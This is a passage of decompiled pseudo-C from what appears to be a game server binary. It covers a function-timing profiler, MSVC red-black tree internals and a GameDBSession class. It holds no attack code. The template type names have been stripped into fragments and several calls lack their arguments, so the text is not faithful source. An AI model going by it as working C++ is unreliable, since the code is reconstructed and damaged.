*v2; // ebp@1 _iobuf *v3; // edi@1 int v4; // esi@1 signed int v5; // ebx@1 signed int v6; // ebx@3 int v7; // esi@3 time_t timevar; // [sp+10h] [bp-48h]@1 char filenamebuffer[64]; // [sp+14h] [bp-44h]@1 unsigned int v10; // [sp+54h] [bp-4h]@1 v10 = (unsigned int)&timevar ^ __security_cookie; v2 = this; mysecond(&timevar); localtime(&timevar); sprintf(filenamebuffer, "%s%04d%02d%02d%02d.txt"); v3 = fopen(filenamebuffer, "w"); fprintf(v3, "%s\n"); v4 = (int)v2->fca_NetCommand; v5 = 64; do { fprintf(v3, "%d/%d\n"); v4 += 2; --v5; } while ( v5 ); v6 = 127; v7 = (int)&v2->fca_stack[127]; do { if ( *(_DWORD *)v7 ) fprintf(v3, "%c %s[%u]\n"); --v6; v7 -= 4; } while ( v6 >= 0 ); fclose(v3); } //----- (004580C0) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__cdecl std::_Tree_std::allocator_0>>::_Max(std::_Tree_nod,std::allocator,0> >::_Node *_Pnode) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // ecx@1 result = _Pnode; for ( i = _Pnode->_Right; !i->_Isnil; i = i->_Right ) result = i; return result; } //----- (004580E0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::_Buynode(...) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x38u); if ( result ) { result->_Left = _Larg; result->_Right = _Rarg; result->_Parent = _Parg; memcpy(&result->_Myval, _Val, sizeof(result->_Myval)); result->_Color = _Carg; result->_Isnil = 0; } return result; } //----- (00458130) -------------------------------------------------------- std::_Tree_nod,std::allocator,0> >::_Node *__thiscall std::_Tree_std::allocator_0>>::_Buynode(std::_Tree,std::allocator,0> > *this) { std::_Tree_nod,std::allocator,0> >::_Node *result; // eax@1 result = (std::_Tree_nod,std::allocator,0> >::_Node *)operator new(0x38u); if ( result ) result->_Left = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-4 ) result->_Parent = 0; if ( result != (std::_Tree_nod,std::allocator,0> >::_Node *)-8 ) result->_Right = 0; result->_Color = 1; result->_Isnil = 0; return result; } //----- (00458170) -------------------------------------------------------- void __thiscall std::_Tree_std::allocator_0>>::_Erase(std::_Tree,std::allocator,0> > *this, std::_Tree_nod,std::allocator,0> >::_Node *_Rootnode) { void *v2; // edi@1 std::_Tree,std::allocator,0> > *v3; // ebx@1 std::_Tree_nod,std::allocator,0> >::_Node *i; // esi@1 v2 = _Rootnode; v3 = this; for ( i = _Rootnode; !i->_Isnil; v2 = i ) { std::_Tree_std::allocator_0>>::_Erase( v3, i->_Right); i = i->_Left; operator delete(v2); } } //----- (004581B0) -------------------------------------------------------- std::mem_fun_ref_t *__cdecl std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>(std::mem_fun_ref_t *result, std::_Tree,std::allocator,0> >::iterator _First, std::_Tree,std::allocator,0> >::iterator _Last, std::mem_fun_ref_t _Func) { std::_Tree,std::allocator,0> >::iterator v4; // eax@1 std::_Tree,std::allocator,0> >::iterator v5; // edi@1 std::mem_fun_ref_t v6; // esi@2 std::mem_fun_ref_t *v7; // eax@4 v4 = _First; v5 = _Last; if ( _First == _Last ) { v7 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = _Func; } else { v6 = _Func; do { (*(void (__thiscall **)(_DWORD))&v6)(*(_DWORD *)&v4 + 16); std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_First.baseclass_0); v4 = _First; } while ( _First != v5 ); v7 = result; *(_DWORD *)&result->___u0.baseclass_0.dummy[0] = v6; } return v7; } //----- (004581F0) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_Report(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 _iobuf *v2; // eax@1 std::mem_fun_ref_t result; // [sp+0h] [bp-4h]@1 result = (std::mem_fun_ref_t)this; v1 = this; v2 = fopen("FunctionPerformance.txt", "w"); FunctionProfiler::FunctionPerformance::fp_ProfileFile = v2; if ( v2 ) { fprintf(v2, "Function\tExec Number\tTotal Second\tSecond/exec\n"); std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>( &result, (std::_Tree,std::allocator,0> >::iterator)v1->pr_Array.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)v1->pr_Array.baseclass_0._Myhead, (std::mem_fun_ref_t)FunctionProfiler::FunctionPerformance::fp_Report); fclose(FunctionProfiler::FunctionPerformance::fp_ProfileFile); FunctionProfiler::FunctionPerformance::fp_ProfileFile = 0; } } //----- (00458250) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_SetCount(FunctionProfiler::PerformanceRecorder *this, int cnt) { this->pr_CheckLoopCount_Command = cnt; std::for_each_std::allocator_0>>::iterator_std::mem_fun_ref_t>( (std::mem_fun_ref_t *)&cnt, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead, (std::mem_fun_ref_t)FunctionProfiler::FunctionPerformance::fp_Clear); } //----- (00458280) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_MainLoopTail(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 __int16 v2; // ax@1 v1 = this; v2 = this->pr_CheckLoopCount_Real; if ( v2 >= 0 ) { if ( !v2 ) FunctionProfiler::PerformanceRecorder::pr_Report(this); --v1->pr_CheckLoopCount_Real; } } //----- (004582A0) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::find(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, FunctionProfiler::FunctionPerformance *_Keyval) { std::_Tree_nod,std::allocator,0> >::_Node *v3; // edx@1 std::_Tree_nod,std::allocator,0> >::_Node *v4; // eax@1 std::_Tree,std::allocator,0> >::iterator *v5; // eax@8 v3 = this->_Myhead; v4 = v3->_Parent; while ( !v4->_Isnil ) { if ( v4->_Myval.fp_FunctionName >= _Keyval->fp_FunctionName ) { v3 = v4; v4 = v4->_Left; } else { v4 = v4->_Right; } } if ( v3 == this->_Myhead || _Keyval->fp_FunctionName < v3->_Myval.fp_FunctionName ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = this->_Myhead; } else { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v3; } return v5; } //----- (00458310) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_Exit(FunctionProfiler::PerformanceRecorder *this, char *funcname) { FunctionProfiler::PerformanceRecorder *v2; // edi@1 char *v3; // esi@2 LARGE_INTEGER exitcount; // [sp+4h] [bp-28h]@3 char key; // [sp+Ch] [bp-20h]@2 char *v6; // [sp+24h] [bp-8h]@2 v2 = this; if ( this->pr_CheckLoopCount_Real > 0 ) { v6 = funcname; std::_Tree_std::allocator_0>>::find( &this->pr_Array.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&funcname, (FunctionProfiler::FunctionPerformance *)&key); v3 = funcname; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)funcname != v2->pr_Array.baseclass_0._Myhead ) { QueryPerformanceCounter(&exitcount); *((_QWORD *)v3 + 4) += *(_QWORD *)&exitcount - *((_QWORD *)v3 + 3); } } } //----- (00458380) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::_Insert(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, bool _Addleft, std::_Tree_nod,std::allocator,0> >::_Node *_Wherenode, FunctionProfiler::FunctionPerformance *_Val) { std::_Tree,std::allocator,0> > *v5; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // ecx@4 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@4 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@7 std::_Tree_nod,std::allocator,0> >::_Node *v9; // eax@9 int v10; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v11; // esi@11 int v12; // ecx@12 int v13; // ebp@12 int v14; // edx@12 std::_Tree,std::allocator,0> >::iterator *v15; // eax@24 std::basic_string,std::allocator > thisa; // [sp+8h] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+24h] [bp-34h]@2 int v18; // [sp+54h] [bp-4h]@2 std::_Tree_nod,std::allocator,0> >::_Node *_Vala; // [sp+68h] [bp+10h]@4 v5 = this; if ( this->_Mysize >= (unsigned int)&wholesaver.ws_savestore[1485].esc_skill.buffer[27530] ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "map/set too long", 0x13u); v18 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } v6 = std::_Tree_std::allocator_0>>::_Buynode( this, this->_Myhead, _Wherenode, this->_Myhead, _Val, 0); v7 = v5->_Myhead; _Vala = v6; ++v5->_Mysize; if ( _Wherenode == v7 ) { v7->_Parent = v6; v5->_Myhead->_Left = v6; v5->_Myhead->_Right = v6; } else { if ( _Addleft ) { _Wherenode->_Left = v6; v8 = v5->_Myhead; if ( _Wherenode == v8->_Left ) v8->_Left = v6; } else { _Wherenode->_Right = v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 48) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 48) = 1; *(_BYTE *)(v14 + 48) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 48) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (00458530) -------------------------------------------------------- std::_Tree,std::allocator,0> >::iterator *__thiscall std::_Tree_std::allocator_0>>::erase(std::_Tree,std::allocator,0> > *this, std::_Tree,std::allocator,0> >::iterator *result, std::_Tree,std::allocator,0> >::iterator _Where) { std::_Tree,std::allocator,0> > *v3; // ebp@1 std::_Tree,std::allocator,0> >::iterator v4; // ebx@4 std::_Tree,std::allocator,0> >::iterator v5; // edi@5 std::_Tree,std::allocator,0> >::iterator v6; // ecx@8 std::_Tree,std::allocator,0> >::iterator v7; // esi@9 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@11 std::_Tree_nod,std::allocator,0> >::_Node *v9; // ebx@16 std::_Tree_nod,std::allocator,0> >::_Node *v10; // eax@18 std::_Tree_nod,std::allocator,0> >::_Node *v11; // ebx@21 std::_Tree_nod,std::allocator,0> >::_Node *v12; // eax@30 int v13; // eax@32 char v14; // al@35 int v15; // eax@39 bool v16; // zf@54 unsigned int v17; // eax@60 std::_Tree,std::allocator,0> >::iterator *v18; // eax@62 std::_Tree,std::allocator,0> >::iterator _Erasednode; // [sp+8h] [bp-54h]@4 std::basic_string,std::allocator > thisa; // [sp+Ch] [bp-50h]@2 int (__thiscall **pExceptionObject)(void *, char); // [sp+28h] [bp-34h]@2 int v22; // [sp+58h] [bp-4h]@2 v3 = this; if ( *(_BYTE *)(*(_DWORD *)&_Where + 49) ) { thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( &thisa, "invalid map/set iterator", 0x1Bu); v22 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } v4 = _Where; _Erasednode = _Where; std::_Tree_std::allocator_0>>::const_iterator::_Inc(&_Where.baseclass_0); if ( *(_BYTE *)(**(_DWORD **)&v4 + 49) ) { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 8); LABEL_9: v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v4 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; v8 = v3->_Myhead; if ( v8->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v8->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v5; } else { if ( **(_DWORD **)&v7 == v4 ) **(_DWORD **)&v7 = v5; else *(_DWORD *)(*(_DWORD *)&v7 + 8) = v5; } v9 = v3->_Myhead; if ( v9->_Left == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v10 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v10 = std::_Tree_std::allocator_0>>::_Min(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); v9->_Left = v10; } v11 = v3->_Myhead; if ( v11->_Right == (std::_Tree_nod,std::allocator,0> >::_Node *)_Erasednode ) { if ( *(_BYTE *)(*(_DWORD *)&v5 + 49) ) v11->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v7; else v11->_Right = std::_Tree_std::allocator_0>>::_Max(*(std::_Tree_nod,std::allocator,0> >::_Node **)&v5); } goto LABEL_36; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 49) ) { v5 = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&v4; goto LABEL_9; } v6 = _Where; v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&_Where + 8); if ( _Where == v4 ) goto LABEL_9; *(_DWORD *)(**(_DWORD **)&v4 + 4) = _Where; **(_DWORD **)&v6 = **(_DWORD **)&v4; if ( v6 == *(_DWORD *)(*(_DWORD *)&v4 + 8) ) { v7 = v6; } else { v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v6 + 4); if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) *(_DWORD *)(*(_DWORD *)&v5 + 4) = v7; **(_DWORD **)&v7 = v5; *(_DWORD *)(*(_DWORD *)&v6 + 8) = *(_DWORD *)(*(_DWORD *)&v4 + 8); *(_DWORD *)(*(_DWORD *)(*(_DWORD *)&v4 + 8) + 4) = v6; } v12 = v3->_Myhead; if ( v12->_Parent == (std::_Tree_nod,std::allocator,0> >::_Node *)v4 ) { v12->_Parent = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { v13 = *(_DWORD *)(*(_DWORD *)&v4 + 4); if ( *(_DWORD *)v13 == v4 ) *(_DWORD *)v13 = v6; else *(_DWORD *)(v13 + 8) = v6; } *(_DWORD *)(*(_DWORD *)&v6 + 4) = *(_DWORD *)(*(_DWORD *)&v4 + 4); v14 = *(_BYTE *)(*(_DWORD *)&v6 + 48); *(_BYTE *)(*(_DWORD *)&v6 + 48) = *(_BYTE *)(*(_DWORD *)&v4 + 48); *(_BYTE *)(*(_DWORD *)&v4 + 48) = v14; LABEL_36: if ( *(_BYTE *)(*(_DWORD *)&_Erasednode + 48) == 1 ) { if ( (std::_Tree_nod,std::allocator,0> >::_Node *)v5 != v3->_Myhead->_Parent ) { do { if ( *(_BYTE *)(*(_DWORD *)&v5 + 48) != 1 ) break; v15 = **(_DWORD **)&v7; if ( v5 == **(_DWORD **)&v7 ) { v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); if ( !*(_BYTE *)(v15 + 48) ) { *(_BYTE *)(v15 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } if ( *(_BYTE *)(v15 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)v15 + 48) != 1 || *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)v15 + 48) = 1; *(_BYTE *)(v15 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = *(_DWORD *)(*(_DWORD *)&v7 + 8); } *(_BYTE *)(v15 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) = 1; std::_Tree_std::allocator_0>>::_Lrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } else { if ( !*(_BYTE *)(v15 + 48) ) { *(_BYTE *)(v15 + 48) = 1; *(_BYTE *)(*(_DWORD *)&v7 + 48) = 0; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); v15 = **(_DWORD **)&v7; } if ( *(_BYTE *)(v15 + 49) ) goto LABEL_54; if ( *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) != 1 || *(_BYTE *)(*(_DWORD *)v15 + 48) != 1 ) { if ( *(_BYTE *)(*(_DWORD *)v15 + 48) == 1 ) { *(_BYTE *)(*(_DWORD *)(v15 + 8) + 48) = 1; *(_BYTE *)(v15 + 48) = 0; std::_Tree_std::allocator_0>>::_Lrotate( v3, (std::_Tree_nod,std::allocator,0> >::_Node *)v15); v15 = **(_DWORD **)&v7; } *(_BYTE *)(v15 + 48) = *(_BYTE *)(*(_DWORD *)&v7 + 48); *(_BYTE *)(*(_DWORD *)&v7 + 48) = 1; *(_BYTE *)(*(_DWORD *)v15 + 48) = 1; std::_Tree_std::allocator_0>>::_Rrotate( v3, *(std::_Tree_nod,std::allocator,0> >::_Node **)&v7); break; } } *(_BYTE *)(v15 + 48) = 0; LABEL_54: v5 = v7; v16 = (std::_Tree_nod,std::allocator,0> >::_Node *)v7 == v3->_Myhead->_Parent; v7 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v7 + 4); } while ( !v16 ); } *(_BYTE *)(*(_DWORD *)&v5 + 48) = 1; } operator delete(*(void **)&_Erasednode); v17 = v3->_Mysize; if ( v17 ) v3->_Mysize = v17 - 1; v18 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Where; return v18; } // 689C04: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (004587F0) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, FunctionProfiler::FunctionPerformance *_Val) { FunctionProfiler::FunctionPerformance *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 char *v8; // edx@2 FunctionProfiler::FunctionPerformance *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = _Val->fp_FunctionName; do { v7 = v8 < v6->_Myval.fp_FunctionName; v5 = v6; _Addleft = v8 < v6->_Myval.fp_FunctionName; if ( v8 >= v6->_Myval.fp_FunctionName ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (FunctionProfiler::FunctionPerformance *)v5; _Val = (FunctionProfiler::FunctionPerformance *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( (char *)LODWORD(v9[1].fp_EntryCount) >= v3->fp_FunctionName ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (004588B0) -------------------------------------------------------- int std::_Tree_std::allocator_0>>::erase(...) { std::_Tree,std::allocator,0> >::iterator v4; // ebx@1 std::_Tree,std::allocator,0> >::iterator v5; // esi@1 std::_Tree,std::allocator,0> > *v6; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v7; // eax@1 std::_Tree_nod,std::allocator,0> >::_Node *v8; // eax@3 std::_Tree,std::allocator,0> >::iterator *v9; // eax@3 std::_Tree,std::allocator,0> >::iterator v10; // ecx@5 int v11; // eax@6 std::_Tree,std::allocator,0> >::iterator j; // eax@7 std::_Tree,std::allocator,0> >::iterator i; // eax@10 v4 = _Last; v5 = _First; v6 = this; v7 = this->_Myhead; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)_First != v7->_Left || (std::_Tree_nod,std::allocator,0> >::_Node *)_Last != v7 ) { if ( _First != _Last ) { do { v10 = v5; if ( !*(_BYTE *)(*(_DWORD *)&v5 + 49) ) { v11 = *(_DWORD *)(*(_DWORD *)&v5 + 8); if ( *(_BYTE *)(v11 + 49) ) { for ( i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 4); !*(_BYTE *)(*(_DWORD *)&i + 49); i = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&i + 4) ) { if ( v5 != *(_DWORD *)(*(_DWORD *)&i + 8) ) break; v5 = i; } v5 = i; } else { v5 = *(std::_Tree,std::allocator,0> >::iterator *)(*(_DWORD *)&v5 + 8); for ( j = *(std::_Tree,std::allocator,0> >::iterator *)v11; !*(_BYTE *)(*(_DWORD *)&j + 49); j = (std::_Tree,std::allocator,0> >::iterator)**(_DWORD **)&j ) v5 = j; } } std::_Tree_std::allocator_0>>::erase( v6, &_First, v10); } while ( v5 != v4 ); } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; } else { std::_Tree_std::allocator_0>>::_Erase( this, v7->_Parent); v6->_Myhead->_Parent = v6->_Myhead; v8 = v6->_Myhead; v6->_Mysize = 0; v8->_Left = v8; v6->_Myhead->_Right = v6->_Myhead; v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6->_Myhead->_Left; } return v9; } //----- (00458970) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::pr_Entrance(FunctionProfiler::PerformanceRecorder *this, char *funcname) { FunctionProfiler::PerformanceRecorder *v2; // esi@1 char *v3; // eax@2 std::pair,std::allocator,0> >::iterator,bool> result; // [sp+8h] [bp-28h]@3 int key; // [sp+10h] [bp-20h]@2 int v6; // [sp+14h] [bp-1Ch]@3 int v7; // [sp+18h] [bp-18h]@3 int v8; // [sp+1Ch] [bp-14h]@3 int v9; // [sp+20h] [bp-10h]@3 int v10; // [sp+24h] [bp-Ch]@3 char *v11; // [sp+28h] [bp-8h]@2 v2 = this; if ( this->pr_CheckLoopCount_Real > 0 ) { v11 = funcname; std::_Tree_std::allocator_0>>::find( &this->pr_Array.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&funcname, (FunctionProfiler::FunctionPerformance *)&key); v3 = funcname; if ( (std::_Tree_nod,std::allocator,0> >::_Node *)funcname != v2->pr_Array.baseclass_0._Myhead || (v9 = 0, v10 = 0, v7 = 0, v8 = 0, key = 0, v6 = 0, std::_Tree_std::allocator_0>>::insert( &v2->pr_Array.baseclass_0, &result, (FunctionProfiler::FunctionPerformance *)&key), v3 = *(char **)&std::_Tree_std::allocator_0>>::find( &v2->pr_Array.baseclass_0, (std::_Tree,std::allocator,0> >::iterator *)&funcname, (FunctionProfiler::FunctionPerformance *)&key)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0], (std::_Tree_nod,std::allocator,0> >::_Node *)v3 != v2->pr_Array.baseclass_0._Myhead) ) { ++*((_QWORD *)v3 + 2); QueryPerformanceCounter((LARGE_INTEGER *)v3 + 3); } } } //----- (00458A10) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::_PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->pr_Array.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->pr_Array.baseclass_0._Myhead); operator delete(v1->pr_Array.baseclass_0._Myhead); v1->pr_Array.baseclass_0._Myhead = 0; v1->pr_Array.baseclass_0._Mysize = 0; } //----- (00458A40) -------------------------------------------------------- void __thiscall FunctionProfiler::PerformanceRecorder::PerformanceRecorder(FunctionProfiler::PerformanceRecorder *this) { FunctionProfiler::PerformanceRecorder *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->pr_Array.baseclass_0); v1->pr_Array.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->pr_Array.baseclass_0._Myhead->_Parent = v1->pr_Array.baseclass_0._Myhead; v1->pr_Array.baseclass_0._Myhead->_Left = v1->pr_Array.baseclass_0._Myhead; v1->pr_Array.baseclass_0._Myhead->_Right = v1->pr_Array.baseclass_0._Myhead; v1->pr_Array.baseclass_0._Mysize = 0; QueryPerformanceFrequency(&FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency); if ( !*(_QWORD *)&FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency ) FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency = (LARGE_INTEGER)1i64; v1->pr_CheckLoopCount_Command = -1; v1->pr_CheckLoopCount_Real = -1; } //----- (00458AB0) -------------------------------------------------------- void __thiscall GameDBSession::GameDBSession(GameDBSession *this) { GameDBSession *v1; // esi@1 v1 = this; ZoneBaseSession::ZoneBaseSession(&this->baseclass_0); v1->baseclass_0.m_Connected_World = 0; v1->baseclass_0.m_Connected_Zone = 0; v1->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameDBSession::_vftable_; v1->baseclass_0.m_Connected_Server_ID = 2; } // 640274: using guessed type int (__stdcall *GameDBSession___vftable_)(int interval); //----- (00458AE0) -------------------------------------------------------- void __thiscall GameDBSession::_GameDBSession(GameDBSession *this) { this->baseclass_0.vfptr = (ZoneBaseSessionVtbl *)&GameDBSession::_vftable_; ZoneBaseSession::_ZoneBaseSession(&this->baseclass_0); } // 640274: using guessed type int (__stdcall *GameDBSession___vftable_)(int interval); //----- (00458AF0) -------------------------------------------------------- void __thiscall GameDBSession::gds_DummyFunction(GameDBSession *this, NETCOMMAND *netcmd, int len) { FunctionEntarance _; // [sp+4h] [bp-54h]@1 char buf[64]; // [sp+8h] [bp-50h]@1 unsigned int v5; // [sp+48h] [bp-10h]@1 int v6; // [sp+54h] [bp-4h]@1 v5 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = 